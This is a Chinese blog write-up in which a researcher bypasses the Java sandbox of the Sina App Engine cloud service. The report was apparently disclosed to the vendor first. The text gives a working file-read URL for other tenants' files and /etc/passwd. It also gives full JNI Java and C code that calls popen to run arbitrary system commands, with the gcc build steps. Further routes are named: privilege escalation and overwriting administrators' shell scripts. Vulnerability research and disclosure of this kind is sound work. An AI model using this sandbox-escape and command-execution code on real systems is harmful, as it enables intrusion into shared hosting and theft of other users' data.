by 空虚浪子心 http://inbreak.net 微博:http://t.qq.com/javasecurity
摘要
谢各位捧场,经过努力,作者已经打到了第三关,这一关叫做“命令执行关”。也不知道是因为作者描述不清楚,还是SAE的理解出现偏差,我们没有直接沟通过,只是作者写篇文章,先交给那边“审核”,“审核”通过后,才发布了,所有的交流,都仅限于文章本身。这种沟通的障碍,是此次绕过安全防御的起始。在作者的第二关:《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://inbreak.net/archives/411)一文中,提到利用crackClassLoader,绕过java安全沙箱的例子,文末作者以一个命令的成功执行结尾,并且使用cat命令,打出了其他云用户的首页。
正文
SAE看到了禁止命令执行的重要性。在本文的开始,先查看SAE的环境和限制。
上传一个命令执行的JSP页面,打开:
http://1.cracksae.sinaapp.com/cmd.jsp?cmd=id
返回:
这个错误信息,完全不同于原本JAVA沙盒的权限异常信息,并非是java标准沙盒导致的标准权限异常,所以绕过的思路,和标准沙盒肯定不一致。
从错误提示中,可以推测,SAE在runtime.exec函数的执行层面做了限制(包括processBuilder.start()也有限制)。注意,是针对这个函数做的限制,按照之前的思想,作者要做的,当然是绕过这个函数。SAE也是这么认为的,但是,SAE开发人员和作者理解的细节上有偏差。上篇文章,作者发给SAE,内容写到绕过了SAE的沙盒环境,注意是SAE的JAVA沙盒环境。文章原意是,绕过沙盒后,可以做很多事情,而执行cmd仅仅是其中一种罢了。SAE理解为,不让恶意用户执行cmd命令,就可以防止绕过了,昏倒。
作者认为,SAE是云,云安全需要保护的,是用户的数据,至于能不能执行命令,其实是次要的。站在云安全的立场,作者认为,执行系统命令神马的,是web时代的黑客干的,云时代,大家要做的,起码是把云上用户的数据弄出来。
普通的文件操作,在没有bypass之前,出现了沙盒的错误信息。如果开发人员和作者推测的一致,仅仅针对exec做限制,那就可能没有原来的沙盒策略,仅仅禁止了exec执行命令的函数,这相当于修改了JRE环境。
BYPASS沙盒
这次为了使用方便,作者把文章《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://inbreak.net/archives/411)中setPolicy这段代码,单独拎出来写好放上去。在web应用环境中,权限设置是针对当前web应用下所有class的,所以只要成功设置了AllPermissions策略,后面文件操作什么的,就统统不再限制了。
第一步执行设置策略setPolicy代码,代码上一篇文章有,这里不再提了,在ExpPermissions2类中有的,这次只是写了个JSP直接调用提权。
这说明SAE真的和作者推测的一致,仅仅限制了EXEC命令执行,这对于云来说,相当于不限制。
上图是读取/etc/passwd的内容,进一步列目录,可以到用户的目录中,读取用户的数据。从这里看到,我们已经可以管理其他云用户的文件了。
http://1.bypass3.sinaapp.com/bypass3forfile.jsp?action=fileread&filename=/data1/jetty_work/201/某用户/jetty-0.0.0.0-balabalaXXXXXOOOOOs.war-_1_webrss-any-/webapp/do.jsp
访问上面URL,可以读取云用户“某用户”的do.jsp页面源码:
其实bypass到这里,就已经破防了,但是为了技术研究,以及提醒SAE不要做这样掩耳盗铃的方案,作者又做了一件事情。Sae的开发人员认为,限制了Runtime.exec()函数后,就无法执行系统命令了,但是真是这样么?
命令执行
Java可以调用c语言的动态库,加载进来后,相当于直接使用c语言代码,SAE只限制了exec,bypass这个限制的思路就是调用c语言的动态库。
首先要一个java文件:
package net.inbreak; public class Loadlab { static { try { System.load("/root/javaso/libLoadlab.so"); } catch (UnsatisfiedLinkError e) { System.err.println("Cannot load command library:\n " + e.toString()); } } public Loadlab() { } public native String SayHello(String cmd); } |
这个文件加载了/root/javaso/libLoadlab.so,这里需要改为SAE上,web目录的绝对地址,使用“<%>”,在jsp上拿到即可。%>
然后生成jni的头文件
执行
javah -jni net.inbreak.Loadlab |
生成了“net_inbreak_Loadlab.h”
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class net_inbreak_Loadlab */ #ifndef _Included_net_inbreak_Loadlab #define _Included_net_inbreak_Loadlab #ifdef __cplusplus extern "C" { #endif /* * Class: net_inbreak_Loadlab * Method: SayHello * Signature: (Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello (JNIEnv *, jobject, jstring); #ifdef __cplusplus } #endif #endif |
根据这个文件,写c代码实现功能,目的是执行系统命令:
#include <stdio.h> #include <stdlib.h> #include<string.h> #include "net_inbreak_Loadlab.h" #define BUFSIZE 1000 JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello(JNIEnv * env, jobject arg, jstring instring) { const char *cmd = (*env)->GetStringUTFChars(env, instring, 0); /* char buf[1024]; FILE *pp; char *returnchar=(char*)malloc(10); if( (pp = popen(cmd, "r")) == NULL ) { printf("popen() error!\n"); exit(1); } while(fgets(buf, sizeof buf, pp)) { char *ch = (char *) buf; strcat(returnchar,ch); } char *bufc = (char*)malloc(10); strcpy(bufc, returnchar); instring = (*env)->NewStringUTF(env, bufc); pclose(pp); //convert */ FILE *fp; char buf; char bufreturn[65535]; if((fp=popen(cmd,"r"))==NULL) return instring; int j=0; while ((buf=fgetc(fp))!=EOF) { //memcpy(bufreturn,buf,strlen(buf)); bufreturn[j] = buf; j++; } pclose(fp); char *chreturn = (char *)bufreturn; instring = (*env)->NewStringUTF(env, chreturn); return instring; } int main(int argc, char *argv[]){return 0;} |
这段c代码,作用是调用popen函数,执行系统命令,并返回一个jstring给JAVA。
最终的结果,和调用Runtime.exec是一致的。
生成命令:
gcc -I/usr/java/jdk1.6.0_33/include -I/usr/java/jdk1.6.0_33/include/linux -fPIC -c net_inbreak_Loadlab.c |
然后
gcc -shared -Wl,-soname,libLoadlab.so.1 -o libLoadlab.so net_inbreak_Loadlab.o |
生成了libLoadlab.so文件。
这个文件要放进SAE的web目录中,并且在Loadlab.java中加载起来。
写java代码调用测试一下:
public class Setp { public static void main(String[] args) { String name="java.library.path"; System.out.println(System.getProperty(name)); net.inbreak.Loadlab l = new net.inbreak.Loadlab(); System.out.println("haha:"+l.SayHello("ifconfig")); } } |
本机调用测试成功。
但是在sae上竟然失败,这就不抓图了,原因后来查明(读了一下ifconfig等文件),是因为JAVA在linux层面上的账户,没有执行系统命令的权限,这个才是最狠的禁止命令执行方案,无论如何,都不让用户执行系统命令。作者写这段JNI相关的东西,一个原因是为了记录一下,做个笔记,以后可能用到,另一个原因,是担心SAE又搞出来非主流方案,导致绕过,建议至少要禁掉crackClassLoader。
后面要执行命令,有三个思路:
1、提权。
事实上到这里,本文已经证明了可以读取任意云上的文件,提权可能会引起系统未知错误,毕竟不是一台肉鸡,担心影响SAE的线上服务器,作者没有往下去做。
2、在特殊位置写文件。
Linux系统中,总有几个sh,是管理员偶尔会跑的,我们可以改改内容,达到最终目的,但是这样做,已经偏向渗透路线了,作者的目标是云端的沙盒,并非渗透,所以就此停止。
3、替换SAE的那个做安全验证的代码
这个到是可以做一做,不过这个是作者写文章的时候,才想起来的方案。目前已经修补,作者已经在打第四关了,面对无数的限制,在没有突破前,暂时没机会做了。作者不知道能不能BY PASS第四关的变态关卡,不过肯定要试一试。
总结
云安全主要是为了保护用户的数据,至于执行命令什么的,只是获取用户数据的一种手段,包括沙盒bypass,也只是一种手段,SAE这次被BYPASS,是因为没有理解自己真正要保护的内容,往宏观上讲,是没有抓住安全的脉搏,仅仅在技术角度,针对作者的文章,做了一次技术对抗。
作者这样的人,如果目的是为了破坏,就直接做坏事了,何必写文章发给SAE呢?建议还是在沙盒上想办法,学习google,禁止不该有的权限,达到最终目的。最后说明下,本文的题目叫做“SAE云服务安全沙箱绕过3(绕过命令执行防御) “,事实上本文从头到尾都没有绕过”命令执行防御“,但是既然SAE在这里犯了错,所以就叫这个题目了。
By 空虚浪子心 http://inbreak.net/ 微博http://t.qq.com/javasecurity
0 条评论。